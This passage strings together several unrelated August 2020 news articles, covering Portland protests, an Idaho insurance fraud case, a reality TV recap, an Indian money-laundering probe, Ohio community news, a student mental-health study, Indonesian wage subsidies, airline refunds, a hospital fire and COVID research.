by Christian as they rode the train. Hester gave emotional testimony earlier this year at Christians murder trial testimony that took a dramatic turn when Christian threatened to kill her in an outburst that ended with him getting dragged from the courtroom. She also publicly criticised the police for failing to arrest Christian that night, which allowed him to commit the murders the following day. Christian was convicted and given two life sentences without possibility of parole. Hester has reappeared in public recently as one of the main organisers of the Wall of Moms, a group of mostly white, self-described parents who have been protesting nightly. She and others are demanding that the City Council defund the Portland Police Bureau and reinvest the money in the Black community. Hester became more visible in the group about two weeks ago, when the original Wall of Moms group disbanded under accusations from some Black leaders that the white founders were seeking to monetise the Black Lives Matter movement and were not listening to Black voices. The wall of moms are dancing to the rhythmic chanting of speaker Demetria Hester. Aside from the warnings, Portland Police has allowed this demonstration to continue tonight. #PortlandProtest #PDXprotest #BlackLivesMatter pic.twitter.com/kziQbQ89WK Justin Yau (@PDocumentarians) August 5, 2020 Since then, she has been leading a smaller number of moms on marches each night, using a bullhorn to lead chants in a voice cracking with fatigue. She is also a plaintiff in a lawsuit against the police. Hester spoke to AP on Saturday, before her arrest, and said that the Wall of Moms now called Moms United for Black Lives had regained its focus after the internal leadership struggle. Our life is in danger just because we want to express the fact that we are being abused, killed, raped, and no one is doing nothing about it. And thats why were protesting, and we will never stop because we want to be treated equal as people, she said. Hesters arrest was captured on video and posted on Twitter. Hester, wearing a yellow backpack, is seen standing in the street when an officer in riot gear approaches her and says, Youre under arrest. Hester does not resist and is led away. Her arrest angered some in Portland, including protest groups and civil rights organisations such as the Council on American-Islamic Relations, which called her one of the bravest people we know. The hashtag #freedemetria was gaining traction Monday. A group of protesters and residents of the neighborhood have come out in front of the PPA building. A mass arrest is happening at the moment. Protesters tell me #Portlandmoms leader Demetria Hester has just been arrested. #PortlandProtest #PDXprotests #BlackLivesMatter pic.twitter.com/wcclGzDoSB Justin Yau (@PDocumentarians) August 10, 2020 PPB erred when they didnt believe her, and now theyve erred again in targeting her, CAIR Oregon tweeted Monday, referencing the light-rail stabbings. She has every reason to be upset. If they believed her, maybe two lives would still be with us today. The arrest was getting much of the attention Monday in Portland despite the fact that police arrested 15 other people in demonstrations that also left two police officers with injuries. Police said protesters outside a Portland police union building set fires and used a mortar to launch commercial-grade fireworks at officers. One officer was treated for a burn on her neck, and another had cuts on his leg, police said. The demonstrators who were arrested could face misdemeanour charges of disorderly conduct or interfering with a peace officer. Their detentions came after nine protesters were arrested Saturday night and 24 Friday night. The protests in Portland have happened nightly for more than 70 days since George Floyd was killed in Minneapolis in late May. A protester walks through tear gas deployed by federal law enforcement officers during a demonstration against police violence and racial inequality in Portland [Caitlin Ochs/Reuters] The violence reached an apex when protesters targeted a federal court last month that was defended by federal agents who lobbed tear gas at the attacking demonstrators in two straight weeks of nightly confrontations. The federal agents withdrew more than a week ago amid hopes for calm, but the protests have resurfaced miles from the court. Riley Presher, of Twin Falls, Idaho, was sentenced on Monday for insurance fraud in violation of Idaho Code 41-293. Presher on Dec. 15, 2017, purchased insurance and filed a claim for an accident he stated occurred that same day. When the investigations division with the Idaho Department of Insurance was asked to look into this claim and Presher was interviewed, he reportedly admitted to DOI Investigators he did not have insurance on the day the accident happened on Dec. 14, 2017 when he backed his truck into his friends vehicle. On Aug. 31, 2018, Presher admitted to misrepresenting the collision date and time to Sentry Insurance in the hopes to offset the cost from the damage he caused to his friends vehicle. Presher pleaded guilty to insurance fraud in May. Insurance fraud costs the average American family between $400 and $700 every year in the form of increased insurance premiums, Director Dean Cameron said in a statement. Fifth District Court Judge Rosemary Emory sentenced Presher to a unified sentence of five years in prison. Emory then suspended the sentence and placed Presher on five years of supervised probation. Presher was ordered by the court to serve 120 days of jail time with options and 150 hours of community service. Emory also gave Presher the option of serving an additional 150 hours community service in lieu of the 120 days jail time in consideration of the COVID-19 pandemic. Presher was ordered to pay a $750 fine and court costs. He will also pay $1,260 in restitution to the Idaho Department of Insurance and $1,943 to Sentry Insurance. The Office of the Attorney Generals Special Prosecutions Unit prosecuted this case. Topics Fraud By Elizabeth Kwiatkowski, 08/10/2020 ADVERTISEMENT FOLLOW REALITY TV WORLD ON THE ALL-NEW GOOGLE NEWS! Reality TV World is now available on the all-new Google News app and website. Click here to visit our Google News page, and then click FOLLOW to add us as a news source! ADVERTISEMENT Elizabeth Kwiatkowski is Associate Editor of Reality TV World and has been covering the reality TV genre for more than a decade. star Henry Rodriguez has admitted he was relieved he never met his bride before the wedding, and he's sharing his first impression of Christina.On this season, Bennett and Amelia both recognized each other on their wedding day although they were each supposed to be marrying a stranger.The pair had actually met twice before thanks to a mutual friend, once at a party with and another time when Amelia went to see a band play and Bennett just so happened to be one of its members.During Wednesday night's episode of : Unfiltered, host Jamie Otis , who starred on Season 1 of MAFS, asked Henry what his reaction would have been had he already met his "stranger" wife prior to his wedding day."That was one of the things I was most nervous about. New Orleans is a small city, which makes the dating world rather complicated," Henry explained. "I'm glad it wasn't me."expert Pastor Calvin Roberson joined Henry on Unfiltered and pointed out Amelia and Bennett's pre-existing relationship was a first for the franchise."We've had people who may have seen someone or might've had a slight introduction or what have you on one season," Pastor Cal noted, likely referencing how Season 8 couple Luke Cuccurullo and Kate Sisk met at a speed-dating event Luke had hosted several weeks before tying the knot."But no, this is the first time, and it's not surprising."Pastor Cal explained, "New Orleans has around 400,000 people. It's definitely the smallest city that we've ever done in. I'm glad that even though [Amelia and Bennett] met each other, it was a pleasant and productive meeting. So this is a good thing."It turned out Henry and Christina truly met as strangers at the altar, so Jamie was curious as to whether Henry found his bride attractive.After all, Henry just muttered under his breath, "She's tall," as Christina walked towards him."Is she what you pictured your wife looking like?" Jamie asked Henry, who also noticeably avoided eye contact with Christina and was quiet during their wedding ceremony."You know, I really tried to keep, like, a really open mind," Henry revealed."My initial thought was, 'Please don't know her and if [I] do, please let it be in a capacity that would be okay.' But I thought she was pretty and I was glad I didn't know her in any way. It was just the moment when everything became really real."Henry was clearly nervous in the moments leading up to his wedding, but Christina appeared frustrated more than anything.Christina vented about being tired of waiting for her wedding to commence, and she expressed annoyance over Diary Cam interviews and all the camera distractions."She seemed a little stressed, I guess. She seemed anxious," Henry admitted of Christina's behavior prior to walking down the aisle. "It's a big day."And Christina and Henry's first post-wedding conversation was also a little awkward and forced.Henry told Christina after the ceremony she looked "very pretty," but his bride kind of had to pull the compliment out of him.And for Christina's part, she told the cameras Henry seemed "very different" from someone she'd "usually date." Christina thought Henry acted very shy and reserved, and so she figured she would have to take the lead in the relationship.But the wedding day got better as it progressed. Christina liked Henry's female friends and she liked learning about her groom through his loved ones.The next day, the couple learned they'd be traveling to Mexico for their honeymoon, which was captured on the latest episode.Despite awkward silences and a lack of physical touch, Christina, a well-traveled flight attendant, said she looked forward to having adventures with Henry and teaching him things since it would be his first trip out of the country.'s eleventh season also stars Miles Williams and Karen Landry Woody Randall and Amani, and Brett and Olivia.Interested in more news? Join our Married at First Sight Facebook Group The Enforcement Directorate (ED) on Tuesday questioned Sushant Singh Rajputs friend and roommate Siddharth Pithani and the late actors business manager Shruti Modi in connection with a money laundering case linked to his death. Sushants sister Meetu Singh also arrived at the ED office post noon to record her statement. Siddharth Pithani at ED office on Tuesday. (Varinder Chawla) Meetu Singh at ED office on Tuesday. (Varinder Chawla) Shruti Modi leaving from ED office. (Varinder Chawla) Pithani and Modi arrived at the office of the central probe agency in the Ballard Estate area around 11 am in response to their scheduled summons, officials said. Both of them were questioned by the agency on Monday and their statements were recorded under the Prevention of Money Laundering Act (PMLA). Shruti Modi was questioned last week too. Pithani, an IT professional, had told various news channels that he was present in the Bandra flat on June 14 when the 34-year-old actor allegedly hanged himself. Pithani, who Rajput used to call Buddha, is stated to be living with Rajput for about a year, and had earlier recorded his statement with the Mumbai Police as part of its accidental death report (ADR) probe in the case. On Monday, the ED questioned the prime accused in the case, actor Rhea Chakraborty (28), for about nine hours. She has been questioned for around 18-19 hours till now. Her father Indrajit Chakraborty and brother Showik have also been questioned for varied lengths of time earlier. The ED is also expected to question one of Rajputs three sisters in this case on Tuesday or Wednesday. Rhea, her family and a friend of Rajput are expected to be called in for questioning again. The ED had also questioned the chartered accountants (CAs) of Rhea and Rajput and the deceased actors house manager Samuel Miranda in the past. The agency is understood to have questioned Rhea, who stated in her petition to the Supreme Court that she was in a live-in relationship with Rajput, about her friendship with the late actor, business dealings and the developments that took place over the last few years between them. The EDs line of questioning, officials said, is revolving around Rheas income, investments, business and professional deals, and links. Also under the EDs scanner is a property located in the citys Khar area and another in Raigad district of the state, both linked to Rhea, for the source of purchase and ownership. Agency sources have said they want more answers from Rhea over the alleged mismatch between her income, expenditure and investments. They said while Rhea has filed Income Tax Returns stating an income of about Rs 18 lakh in the recent past, the value of her investments is reportedly higher. Her father, they said, is a retired defence personnel who gets a pension of around Rs one lakh per month. The sources said Rhea told the agency that she had made the property investments from her income, savings and has also taken bank loans. Rhea has been accused by Rajputs father of abetting his sons suicide and she had initially refused to appear before the agency citing her appeal pending before the Supreme Court that is slated to be heard on Tuesday. Her lawyer Satish Maneshinde had said Rhea is a law-abiding citizen and would cooperate with the probe. She has filed a petition in the apex court requesting that the case lodged by the Bihar Police against her be transferred to the Mumbai police. Rhea, through her lawyer, also shared a picture of a note on Saturday which she claimed was written by Rajput to express his gratitude towards her and her family. She also shared a photograph of a water sipper, which is a piece of movie merchandise from Rajputs 2019 film Chhichhore. The only property of Sushant that I possess, she said in a message sent along with the photo to the media. Also read: God is with us: Sushant Singh Rajputs sister Shweta has this request ahead of Supreme Court hearing in actors case The ED, during the questioning sessions, is learnt to have confronted Rhea, Showik and Modi with certain bank statements that purportedly show transfer of small amounts into Showiks accounts from those of Rajput and Chakraborty. Rajputs 74-year-old father K K Singh, who resides in Patna, had on July 25 filed a complaint with the Patna police against Rhea, her parents (including mother Sandhya Chakraborty), Showik, Rajputs manager Samuel Miranda, Shruti Modi and unknown persons accusing them of cheating and abetting his sons suicide. The CBI had re-registered this FIR as a fresh case on Thursday and named as accused the same people. Singh also alleged financial irregularities in bank accounts of his son. In the complaint, Singh alleged that an amount of Rs 15 crore was siphoned off from Rajputs bank account in one year to accounts of persons not known or connected to the late actor. Under the EDs scanner are also at least two companies linked to Rajput and some financial deals involving Rhea, her father and Showik, who are stated to be directors in these companies. (With HT inputs) Follow @htshowbiz for more BAY VILLAGE, Ohio -- BAYarts hosts Thursday Afternoon Markets from noon to 3 p.m. the second and fourth Thursdays through September. Remaining dates are Aug. 13 and 27 and Sept. 10 and 24. This is the sixth year for the market, which offers local food and art vendors. The Thyme Traveler food truck will be on hand for those who want to purchase lunch, and Art To Go Kits can be purchased from the BAYarts table. The gallery and gift shop also will be open. Hours are 10 a.m. to 3 p.m. Monday through Friday. The dog- and family-friendly markets are free to attend. Social distancing will be practiced throughout the BAYarts campus, 28795 Lake Road, Bay Village. Masks are required for all Metroparks guests age 6 and older, both indoors and at the market. For more information on BAYarts and its classes or events, visit bayarts.net or call 440-871-6543. This historic marker on the lawn of a century-old farmhouse on Lake Road in Rocky River denotes the location of the Cowan Pottery Studio after it moved from Lakewood in 1920. (Carol Kovach/special to cleveland.com) 100 years of pottery: Cowan Pottery, which was created in Rocky River from 1920 to 1931, is marking the 100th anniversary of its move to Rocky River this year. The popular pottery studio filed for bankruptcy during the Great Depression. Rocky River Public Library is observing the centennial with events wrapping up on Aug. 17. The Cowan Pottery Studio was founded in 1912 in Lakewood by R. Guy Cowan. It produced artistic and commercial work that was influenced by Art Deco, Chinese ceramics and modern sculpture. Many well-known area artists worked with the Cowan Studio. One of the best known may be Ohio native Viktor Schreckengost, who died at age 101 in 2008. He graduated from the Cleveland School of the Arts, now the Cleveland Institute of Art. He taught industrial design at CIA for more than 50 years and continued his affiliation with the school until his death. Schreckengost received the National Medal of Arts from President George W. Bush in 2006. Schreckengost created what might be the most famous item in the librarys Cowan Pottery Museum collection: the Jazz Bowl. The librarys collection includes vases, bookends, lamps and more. The items are rotated in order to showcase pieces. Visitors can walk through history by following the Cowan Pottery Timeline on the front lawn of the library, 1600 Hampton Road, Rocky River. Important dates in the history of the Cowan Pottery Studio and Cowan Pottery Museum will be displayed on individual signs spanning the past 100 years. On Aug. 17, the first online exhibition of photographs sponsored by the librarys Cowan Pottery Museum will allow patrons to view the collection from anywhere in the world, simply by visiting rrpl.org/cowan. Items in the Cowan Style and The Studio on Lake online exhibitions can be viewed. The Cowan Pottery Museum, a special collection found at RRPL, is open to the public during regular library hours. For more information, call 440-895-3763. An Ohio historic marker was unveiled on May 13, 2016, at the former Cowan Studio, a yellow farmhouse at 19621 Lake Road on the citys eastern end. The marker was a joint effort of the Rocky River Historical Society and Cowan Pottery Museum Associates. Mayor Pam Bobst and Bill Cowan, grandson of R. Guy Cowan, uncovered the sign during a brief ceremony. In 2015, a similar historic marker was placed on Nicholson Avenue in Lakewood to mark the original Cowan site. GEON Performance Solutions is celebrating the move of its corporate headquarters to Westlake by donating 60,000 medical grade face shields to local hospitals, first responders, schools and businesses. (Photo Courtesy of GEON Performance Solutions) GEON relocates to Westlake, donates face shields: Westlake is welcoming a new business to the city. GEON Performance Solutions, a global leader in the formulation, development and manufacturing of performance polymer solutions, moved its corporate headquarters from Avon Lake to Westlake. To mark the move, the company donated 60,000 medical grade face shields to local hospitals, first responders, schools and businesses. The first formal presentation of face shields to area hospitals was made during a July 23 event at GEONs new location in the La Centre complex, 25777 Detroit Road. Tracy Garrison, GEON CEO, said COVID-19 had an incredible impact on our community, and we felt a strong sense of responsibility to do our small part to help our community as it combats the effects of this pandemic. We are grateful for the work of our hospitals, first responders, schools and others who are putting themselves in harms way to care for our families, friends and neighbors, she said. We hope by this contribution they see how much we appreciate and value their role in keeping our community safe and healthy. The face shields are being distributed by The Power of More, a consortium of 10 Cleveland-area chambers of commerce, which is leveraging its connections with local hospital systems and businesses to assist in getting the face shields to those who need them most. The face shields are a result of an entrepreneurial collaboration between GEON and GOEX Corp. of Janesville, Wisc., which manufactures quality custom plastic sheets. Garrison said the move to Westlake represents a strong step in GEONs history. The company was purchased by private investment firm SK Capital Partners in October 2019 from PolyOne Corp. GEONs new 11,250-square-foot offices house corporate and administrative staff. More than 60 associates are transitioning to the new location. The companys legacy manufacturing site will remain in Avon Lake, along with a newly renovated R&D Solution Center and its technical support group. Crocker Kids: Once again, Crocker Park in Westlake is partnering with Northeast Ohio Parent Magazine and Lake Ridge Academy for the popular summer series Crocker Kids. This years events are virtual due to the ongoing health crisis. Children can visit the Crocker Park Facebook page at 11 a.m. Thursdays for a fun and educational class with stores and restaurants inside Crocker Park. Supplies needed to participate will be announced on Facebook before each themed class so participants can walk through the activity with the instructor and feel involved in the entire process. Those who sign up for the classes will be able to redeem discounts, virtual goodie bags provided by Lake Ridge Academy and will be entered to win gift cards to the store teaching the class that week. The last two sessions for this month will be Aug. 18 -- Aveda, summer braids and back-to-school hairstyles; and Aug. 25 -- Barnes & Noble, story time. September classes will be announced soon. Visit crockerpark.com for more information on events, stores and other news from the lifestyle center at Crocker and Detroit roads in Westlake. Information, please: Readers are invited to share information about themselves, their families and friends, organizations, church events, etc. from Bay Village, Rocky River and Westlake for the West Shore Chatter column, which I write on a freelance basis. Awards, honors, milestone birthdays or anniversaries and other items are welcome. Submit information at least 10 days before the requested publication date to carolkovach@hotmail.com. Read more from the West Shore Sun. The new study, published by Morneau Shepell and The Jed Foundation (JED), showed that access to different kinds of mental health support modalities resulted in international students seeking and receiving more support CHICAGO, Aug. 11, 2020 /PRNewswire/ - Morneau Shepell, a leading organization in international and domestic student support, and The Jed Foundation (JED), an organization dedicated to supporting the mental health of teens and young adults, published a study examining the mental health needs of international college students and the use of technology for mental health support. The findings showed that a choice of modalities including text/chat, after-hours access, and the ability to receive mental health support in a student's primary language resulted in more international students seeking and receiving support than are currently using campus counseling services, which positively impacts students' academic success and student retention. The research was based on trends within Morneau Shepell's student support program, My SSP . As part of the study, a survey of more than 500 students found that international students were reaching out for support on a range of issues including stress (25.4 percent), depression (12.9 percent), academic issues (11.2 percent), anxiety (10.3 percent), relationships (6.4 percent), social isolation (5.6 percent) and cross-cultural issues/language (2.6 percent). The study also found that 71 percent of international students agreed or strongly agreed that if My SSP were only available in English, they would not have used it. My SSP aims to support the wellbeing and retention of college students by complementing existing campus resources. This student support program allows institutions to expand their reach to help meet international and domestic students' mental health needs through 24/7 chat, video, and tele-mental health support, which connects students with credentialed master's and Ph.D.-level clinicians who speak their language and understand their unique challenges. Analysis also showed that 64 percent of international students accessed My SSP outside of their regular campus counseling centers' office hours. The study, " Using Technology to Access Mental Health Support Services for International Students Attending American Colleges and Universities ," is a partnership between The Jed Foundation's JED Campus Program and Morneau Shepell that examined how using technology to access mental health support services might benefit international students. The study drew upon data from Morneau Shepell's My SSP and JED Campus, in which JED partners with colleges and universities to assess and enhance existing mental health, substance misuse, and suicide prevention efforts, and to create positive, systemic change on campuses. JED partnered with Morneau Shepell's My SSP because it is the only one of its kind created with international students in mind, with a global reach and unique multilingual and cultural components available to students. "We have been so lucky to partner with individuals who are committed to helping students navigate the emotional challenges of college, preventing suicide, and increasing mental health support and student success," said Barb Veder, vice president of global clinical services, research lead, and chief clinician at Morneau Shepell. "The focus on international student mental health support and success has been a priority of My SSP since its inception. The pandemic's impact and other recent events have exacerbated the challenges international students continue to contend with, but we know that students accessing My SSP get support and encouragement to overcome these issues and be successful. We take great pride in the rewarding and meaningful work we do to support students and their campus communities." "In addition to the mental health challenges that international students may already face, experiences of racism and xenophobia may also contribute to increased levels of stress," said JED's chief clinical officer Nance Roy. "Part of our mission is to provide the tools and resources that can help support students as they grapple with ongoing change and uncertainty." Twenty-three American institutions were part of this study from September 1, 2018 to December 31, 2019. International student utilization data, obtained as part of standard care and quality improvement, was used from institutions including large and small campuses, community colleges, four-year institutions with undergraduate and graduate programs, as well as public and private institutions. All students seeking support for mental health issues through My SSP's unique multilingual 24/7 chat, telephone, or video support were included in the study, which used a pre-post design to survey students who were not at risk before support was provided by a clinician and again at the end of the intervention. In a survey including international student services, counseling and medical leadership, an international student services leader shared, "We had a Chinese student who was very reluctant to see a therapist on campus, use the program. He liked that if he panicked, he could text a counselor through My SSP and get support, even late at night." My SSP is available for 24/7 real-time and crisis support in English, Spanish, French, Mandarin and Cantonese (Simplified Chinese by chat), and by appointment for ongoing student support with a dedicated clinician in more than 150 languages including Korean, Arabic, and Hindi. Morneau Shepell's global network allows for ongoing support to be offered in more than 160 countries. Students also have access to in-app resources, including self-directed content, evidence-based health screenings, virtual fitness, and links to campus resources. Webinar and discussion JED and Morneau Shepell invite the community to join a thoughtful discussion on Wednesday, August 12, 2020 at 2:00 p.m. ET during the webinar, "Supporting International Student Mental Health During Challenging Times." JED will host Morneau Shepell and Sarah Lawrence College, which has implemented My SSP, to discuss the evolving student mental health landscape in relation to international students. The session will share study highlights, suggest resources and strategies to reduce barriers to support, encourage student success, and promote help-seeking behaviors. To register for the webinar, visit bit.ly/intlstudentMH . About Morneau Shepell Morneau Shepell is a leading provider of technology-enabled HR services that deliver an integrated approach to employee wellbeing through our cloud-based platform. Our focus is providing world-class solutions to our clients to support the mental, physical, social and financial wellbeing of their people. By improving lives, we improve business. Our approach spans services in employee and family assistance, health and wellness, recognition, pension and benefits administration, retirement consulting, actuarial and investment services. Morneau Shepell employs approximately 6,000 employees who work with some 24,000 client organizations that use our services in 162 countries. For more information, visit morneaushepell.com. About The Jed Foundation JED is a nonprofit that protects emotional health and prevents suicide for our nation's teens and young adults. We're partnering with high schools and colleges to strengthen their mental health, substance misuse, and suicide prevention programs and systems. We're equipping teens and young adults with the skills and knowledge to help themselves and each other. We're encouraging community awareness, understanding and action for young adult mental health. Learn more at jedfoundation.org . Check out our programs including: JED Campus ( jedcampus.org ), Set to Go ( settogo.org ), ULifeline ( ulifeline.org ), Half of Us ( halfofus.com ), Love is Louder ( loveislouder.com ), and Seize the Awkward ( seizetheawkward.org ). SOURCE Morneau Shepell Inc. Related Links http://www.morneaushepell.com/ Share this article Whatsapp Facebook Twitter Linkedin Dzulfiqar Fathur Rahman (The Jakarta Post) Jakarta Tue, August 11, 2020 11:51 526 6657ac82168da9fa101c8a4066d1159b 1 Business wage-subsidy,unemployment,workers,COVID-19,pandemic,purchasing-power,household-consumption,GDP,economy Free A week after it launched the COVID-19 wage subsidy program, the government announced on Monday that it had increased the scheme to cover a total of 15.7 million workers to spur household consumption and prevent the economy from slipping further. From its initial target of 13 million workers, the government increased the number of targeted recipients by an additional 2.7 million workers to help boost their purchasing power. The government also increased the budget for the program by 13.9 percent to Rp 37.7 trillion to cover the expansion in targeted recipients. Those people eligible for the wage subsidy are workers who earn less than Rp 5 million (US$339.25) per month and are active members of the Workers Social Security Agency (BPJS Ketenagakerjaan) as of June 30. Eligible recipients will receive a total wage subsidy of Rp 2.4 million starting in September, disbursed in installments of Rp 1.2 million every two months to cover a total period of four months. There was an [uncovered] group, namely workers who have not been laid off but have been furloughed or [have had] pay cuts because their employers are facing difficulties. They need assistance," Budi Gunadi Sadikin, who heads the national economic recovery task force, said in a virtual press conference on Monday. The wage subsidy program was initially launched on Aug. 4 after Indonesia recorded an economic contraction of 5.32 percent year-on-year (yoy) in the second quarter as household consumption and investment shrank. The government has allocated Rp 695.2 trillion in stimulus funding to minimize the economic impacts of the health crisis. But it has spent only 21.7 percent of the budget as of Aug. 6, at a time when when accelerated spending was needed most. Budi said the expanded scheme was meant to fill the gap left by the existing safety net programs: The Family Hope Program (PKH), the Staple Food Card and the preemployment card social assistance programs have a combined budget of almost Rp 50 trillion and together cover around 29 million eligible households. BPJS Ketenagakerjaan director Agus Susanto of said that the agency had collated the names and addresses of the eligible recipients in its database. But the available data did not include the recipients bank account information, which was needed for the government to disburse the wage subsidy as direct transfers. Hence, on Saturday we notified their employers to complete the bank account data for their workers [with] wages below Rp 5 million [to correspond] with the data they reported to BPJS Ketenagakerjaan, he said. The wage subsidy program applied to eligible recipients of all occupations, said Manpower Minister Ida Fauziyah. Ida added that the government was involving law enforcement agencies, including the National Police, the Attorney Generals Office, the Supreme Audit Agency (BPK), the Development Finance Comptroller (BPKP) and the Corruption Eradication Commission (KPK) to prevent any irregularities and ensure that the program was administered well. This is to ensure that we, as users of the state budget, deliver the program to the correct target. We will [transfer] the money directly to the recipients bank accounts. So it will not go anywhere [else], said the minister. As of May, 3 million Indonesians have been either jobless or unable to work as a result of the health crisis, which has brought the economy to a virtual standstill. With a possible recession pending third-quarter growth, the government has projected 5 million job losses this year. Customer service has declined amid the pandemic. It's time for companies to recognize that treating customers better is good business. (Los Angeles Times) Among the various things the COVID-19 pandemic has changed, and not for the better, is customer service. Just ask anyone who has tried to contact California's Employment Development Department with questions about unemployment benefits. But I don't see this solely as a problem. I see it as an opportunity. First, an example of what consumers are up against in trying to deal with a large company or organization at a time when many service reps are working remotely or dealing with a huge backlog in customer issues. Steve Endres and his wife were planning a trip last month to California's wine country from their home near Charlotte, N.C. They spent more than $2,300 for round-trip tickets on American Airlines. Unfortunately, Endres' wife was diagnosed in June with multiple myeloma, a form of blood cancer. Her doctor said she shouldn't fly until she got control of the condition and a safe COVID-19 vaccine was available. Endres, 70, told me he promptly contacted American Airlines to cancel their booking. He asked for a refund. "The customer rep said she could provide a voucher for a future flight," Endres recalled. "But she couldn't provide a refund. If we wanted that, I'd have to contact a different office." Specifically, he'd have to write via snail mail to an address in Phoenix and make the case for a refund to a different airline employee. To me, this smacks of placing an obstacle in the way of customers getting money returned, a deliberate effort to make it as difficult as possible for anyone to pursue a refund. Endres has a more charitable view of things. "Maybe it's like going to a bank," he observed. "The teller can give you cash but can't give you a loan. For that, you have to talk to someone else." OK, fair point. But look what happened next. Endres said he sent the letter and supporting documentation, including a report from his wife's doctor, to American. He waited nearly a week. No response. Story continues He called the airline again. This time, Endres said, a service rep advised him to fax his refund request to the Phoenix facility. He did. No response. So he reached out to me. "I know they've probably been inundated with refund requests," Endres said. "But it seems unusually hard to get through to anyone." It's worse than that. I contacted American myself and was told there was no record of either Endres' letter or fax being received. Injury, meet insult. A study last year in the Harvard Business Review found that the average American consumer spends 13 hours a year stuck on hold trying to resolve problems. Thirteen hours. A third of disgruntled customers have to make two or more calls to resolve their issue, the study said. Many just give up. More than three-quarters of consumers come away "less than satisfied" with a company's customer service. And to no one's surprise, the study found that in many cases, companies design their customer service departments to prevent irate customers from solving their problems. "This structure, we argue, keeps a lid on the amount of redress customers are willing to seek," the researchers determined. "In other words, by forcing customers to jump through hoops, the organization helps curb its redress payouts." Curtis Blessing, an American Airlines spokesman, told me that "for customers who voluntarily cancel their trips, we do not offer refunds. However, our customer relations team will review individual cases due to extenuating circumstances." Think about that. No refunds, period. Except possibly sometimes. No wonder a customer like Endres would feel frustrated. He's dealing with a business whose stated policy is to say no until it might say yes. And American is by no means alone in adopting such a hard-nosed stance. Most airlines have similar policies, as do other companies in the travel and hospitality industries. The Harvard Business Review study found that the larger a company's market share, the less it cares what customers think of it. It cited in particular "airlines, internet, cable and telephone service providers." "This may help us understand why some of the most hated companies in America are so profitable and why customer service, unfortunately, remains so frustrating," the study concluded. I said higher up that pandemic-related challenges involving customer service represent an opportunity. What I mean by that is companies can acknowledge that treating customers shabbily is bad for long-term business and that upgrading customer service operations can translate to greater loyalty and, ultimately, higher profits. It won't be easy. For decades, large-scale businesses have been seeking to cut costs by outsourcing customer service to third parties and overseas call centers, not to mention rolling out labyrinthine automated switchboards designed to keep you as far as possible from a human being. It's time to reverse course. My first suggestion is to restore customer service to this country and score PR points by creating American jobs. (And, yes, I know the Los Angeles Times uses an overseas call center.) More important, empower and train service reps to actually deal with the problems that customers bring. As it stands, frontline reps typically lack the ability to go beyond whatever's in their basic script. You have to escalate to a supervisor before you can reach someone able to get things done, and even that may require multiple follow-up calls. Take Endres' case. How nice would it have been if the frontline service rep he reached had the authority to facilitate a refund in the event of a major illness, death or similar catastrophic event? Even if that refund were contingent on providing supporting documents, there's no need for this process to require more than a single point of contact (unless, of course, the goal is to prevent refunds). It would be more expensive to maintain domestic call centers and to train service reps to handle a wider variety of issues. Shortsighted companies would balk at that. Solution: Temporary tax breaks for companies that bring customer support jobs back to this country and provide workers with more comprehensive training. We're not talking all pain, no gain. What companies stand to receive in return are more loyal customers and employees, increased customer satisfaction and the likelihood of increased business. After I reached out to American, Endres said he was contacted by a senior airline official, who said she'd expedite his refund request. Endres replied that he and his wife look forward to flying again with American in the future. See how that works? This story originally appeared in Los Angeles Times. Vijayawada: Police arrested three officials of Ramesh Hospitals here on Monday following the death of 10 Covid-19 patients in a fire mishap at a makeshift Covid care centre set up by the hospital in Swarna Palace Hotel. The three accused were Dr Kodali Rajagopala Rao, chief operating officer, Dr Kurapathi Sudarsan, general manager and Pallabothu Venkatesh, coordinating manager for the Covid care centre. Earlier, three special teams inspected Ramesh Hospitals and seized key documents and hard disks. Assistant commissioner of police Suryachandra Rao said the special teams were carrying out inspection on all three branches of the hospital and added that based on a preliminary inquiry, the hospital was admitting more number of patients in violation of the norms and even charging them heavily. Among three special teams, one team is carrying out inspection at Hotel Swarna Heights and Swarna Palace attached to Ramesh Hospitals and finding out about the treatment provided while another team is inquiring about the reasons for the short-circuit and the third team is finding out compliance with fire safety norms. The police also carried out searches at the residence of Swarna Palace owner M. Srinivas and reportedly seized documents pertaining to the agreement with Ramesh Hospitals on setting up Covid care centres. Meanwhile, a team of officials led by Krishna district joint collector Siva Sankar inspected Swarna Palace. Later, the JC told that they were inquiring on three issues with one being whether Swarna Palace had all safety norms, whether Covid-19 protocols were followed while providing treatment and the cause of the fire mishap and whether the guidelines issued by the government were being followed. He said that after taking up a thorough inquiry, they would submit a report to the District Collector Several reports have recently been published regarding how the novel coronavirus impacts the lungs, and then can spread to other organs such as the heart, kidneys and liver. Since the beginning of the pandemic, researchers have struggled to understand why the virus doesn't impact these tissues, but not other sets of organs. But a new study from Spain suggests that proteins found in the lungs act as the primary activators. The team, from the University of Zaragoza and the Fundacion Agencia Aragonesa para la Investigacion y el Desarrollo, found that proteins in the lungs are triggered by the virus, which causes proteins in certain organs to activate, making them more susceptible to infection. Researchers looked at proteins in the lungs and how they interact with proteins the virus uses to infect cells. Pictured: A healthcare worker tends to a patient in the COVID Unit at United Memorial Medical Center in Houston, Texas, July 2 These trigger in certain proteins in organs such as the heart, kidneys and liver, making them more susceptible to infection. Pictured: Members of the medical staff treat a patient who is wearing helmet-based ventilator in the COVID-19 ICU at the United Memorial Medical Center in Houston, Texas, July 28 The virus uses a protein found on the outside of cells called angiotensin-converting enzyme 2 (ACE2) to enter and infect them. Once inside a human cell, the viral proteins interact with those in the body, which can lead to either mild or severe effects. However, not every organ with abundant amounts of ACE2 is affected by the virus, which the researchers say must mean there is a different pathway for transmission. 'This receptor is ubiquitous in most human organs, such that if the virus is circulating in the body, it can also enter into other organs and affect them,' said lead author Dr Ernesto Estrada, a professor in the Institute of Applied Mathematics at the University of Zaragoza. 'However, the virus affects some organs selectively and not all, as expected from these potential mechanisms.' For the study, published in the journal Chaos, the team considered how proteins prevalent in the lungs interact with proteins in other organs. Estrada explained that for proteins to interact with each other, they need to move inside the cell in a 'subdiffusive' way. He described this subdiffusive motion similar to the way a drunkard walks down a crowded street with the crowd presenting obstacles to the drunkard. Similarly, proteins in a cell must swerve around obstacles to interact, but some exist in the same cell or organ and others do not. Taking this into account, Estrada developed a mathematical model which showed there are 59 proteins within the lungs acting as the primary activators for other organs. When the virus affects the lungs, this kicks off a chain of events that trigger changes in proteins in other organs. However, these changes just occurs in certain organ such as the heart and kidneys and not in others, such as the stomach. For future research, Estrada says he wants to study if targeting the proteins in the lungs will help prevent future multi-organ failure. 'Targeting some of these proteins in the lungs with existing drugs will prevent the perturbation of the proteins expressed in organs other than the lungs, avoiding multiorgan failure, which, in many cases, conduces the death of the patient,' he said. Gaza, Aug 11 : The Islamic Hamas Movement has urged the Palestinians to 